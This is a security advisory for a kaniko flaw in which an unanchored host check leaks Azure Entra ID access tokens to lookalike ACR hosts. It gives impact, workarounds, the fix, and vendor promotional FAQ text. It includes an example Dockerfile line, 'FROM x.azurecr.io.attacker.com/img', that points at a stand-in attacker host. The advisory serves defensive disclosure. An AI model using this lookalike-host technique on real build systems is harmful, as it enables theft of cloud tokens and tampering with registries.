Summary
kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instruction and never has to push.
The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chrismellard/docker-credential-acr-env. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone docker-credential-acr-env binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as GO-2026-6225.
Who is affected
You are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don't fully control, in an environment where the helper can get an Azure identity:
- service principal credentials in the environment (
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID) - a federated workload identity token (
AZURE_FEDERATED_TOKENorAZURE_FEDERATED_TOKEN_FILE, withAZURE_CLIENT_IDandAZURE_TENANT_ID), as injected by AKS workload identity - a managed identity, through the Azure Instance Metadata Service (for example on an AKS node or Azure VM) or
MSI_ENDPOINT
You do not need to use ACR, or configure the helper, to be affected. kaniko consults the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set. That covers base images in FROM lines and images in COPY --from=<image>. kaniko asks for credentials before it contacts the registry, so the attacker's registry doesn't need to request authentication.
If your Docker config.json sets "credsStore": "acr-env", the standalone binary is consulted for every registry as well. Before v1.25.20 this setting broke pulls from non-ACR registries, so it is uncommon.
Workarounds
If you can't upgrade, don't let untrusted builds reach an Azure identity:
- Remove Azure credentials, federated tokens,
MSI_ENDPOINTandMSI_SECRETfrom the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. - If you don't rely on kaniko's built-in ACR authentication, set
AZURE_ENVIRONMENTto a value that names no Azure cloud, such asAZURE_ENVIRONMENT=none, in the kaniko container. The helper then fails before requesting any token, and kaniko no longer authenticates to ACR through it.
Also, if you set "credsStore": "acr-env", replace it with per-host credHelpers entries for your own ACR registries. On its own this closes only the standalone-binary path.
If you have built untrusted Dockerfiles with an Azure identity available, treat any access token issued to that identity during those builds as compromised. A leaked token stays valid until it expires, and rotating the identity's credentials does not revoke it. Review the identity's Entra ID sign-in logs and Azure activity logs for that period, especially for ACR pushes, role-assignment changes and key or secret listings, and rotate any secrets the identity could read through Azure Resource Manager, such as storage account keys.
Credit
Reported by Martin Zihlmann (@mzihlmann) of osscontainertools.
Impact
The helper puts the token in both the Authorization: Bearer header and the access_token form field of a POST to https://<host>/oauth2/exchange, so the attacker receives a live access token for Azure Resource Manager. Until it expires, the attacker can use it against Azure Resource Manager with the identity's role assignments. They can also exchange it, as the helper does, at the /oauth2/exchange endpoint of any real ACR registry the identity can access, and so obtain registry credentials. If the identity has AcrPush or higher, the attacker can push images to your registries.
CVE-2026-105769 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.25.20); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in v1.25.20 by #495. kaniko now carries a patched copy of the helper under third_party/docker-credential-acr-env, which the executor, the warmer and the docker-credential-acr-env binary built by deploy/Dockerfile all use. The patched helper accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us. For any other host it reports "credentials not found" without requesting a token.
This repository publishes no binaries or images. Rebuild the executor, the warmer and docker-credential-acr-env from v1.25.20 or later. If you import kaniko as a Go module, update github.com/chainguard-dev/kaniko to v1.25.20 or later.
From v1.25.20, kaniko no longer depends on github.com/chrismellard/docker-credential-acr-env, so scanners stop reporting GO-2026-6225 for it.
Frequently Asked Questions
- What is CVE-2026-105769? CVE-2026-105769 is a critical-severity security vulnerability in github.com/chainguard-dev/kaniko (go), affecting versions < 1.25.20. It is fixed in 1.25.20.
- How severe is CVE-2026-105769? CVE-2026-105769 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/chainguard-dev/kaniko are affected by CVE-2026-105769? github.com/chainguard-dev/kaniko (go) versions < 1.25.20 is affected.
- Is there a fix for CVE-2026-105769? Yes. CVE-2026-105769 is fixed in 1.25.20. Upgrade to this version or later.
- Is CVE-2026-105769 exploitable, and should I be worried? Whether CVE-2026-105769 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-105769 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-105769? Upgrade
github.com/chainguard-dev/kanikoto 1.25.20 or later.